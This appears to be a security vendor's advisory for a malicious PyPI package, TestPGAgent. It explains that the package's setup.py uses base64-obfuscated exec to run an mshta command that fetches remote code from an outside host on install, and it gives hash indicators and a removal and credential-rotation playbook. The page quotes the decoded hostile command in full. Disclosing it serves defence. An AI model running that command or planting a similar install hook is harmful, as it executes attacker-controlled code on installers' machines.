NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Part of a larger attack: 2026-06-easyaillm published 18 malicious packages. See the full campaign →
Malicious package

TestPGAgentPyPI

Advisory published Updated

TestPGAgent is a confirmed malicious PyPI package (MAL-2026-5824) that steals credentials and exfiltrates sensitive data (malicious versions 0.1, 0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in testpgagent (PyPI)

MAL-2026-5824
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall TestPGAgent

What this malware does

On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

  • tool:mshta

Malicious versions

2 flagged
0.10.2

Indicators of compromise (SHA-256)

c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f
cc91b82332e104c5788470ba2d3bad983bf7a8d24615c0aa55788877441f6315
716181b28eadded8c97c8523daa795b07ad06a64d705ac88e2e7bed2ce2a496e
d3d68904948d2a20829d60c633af04d71bec824347ef8655781009ff459bf9bb
b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7
c0c02f55f5bc702497c1ce7a750b2af401194c877e4fa76e17cc21222ee24827

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for TestPGAgent (2 malicious versions).

  2. If you installed it — respond

    TestPGAgent is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If TestPGAgent was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. TestPGAgent on PyPI has been identified as a malicious package (versions 0.1, 0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-0066552026-06-easyaillmIN-MAL-2026-008873

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks TestPGAgent-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

TestPGAgent (PyPI) malicious package — MAL-2026-5824 | O3 Security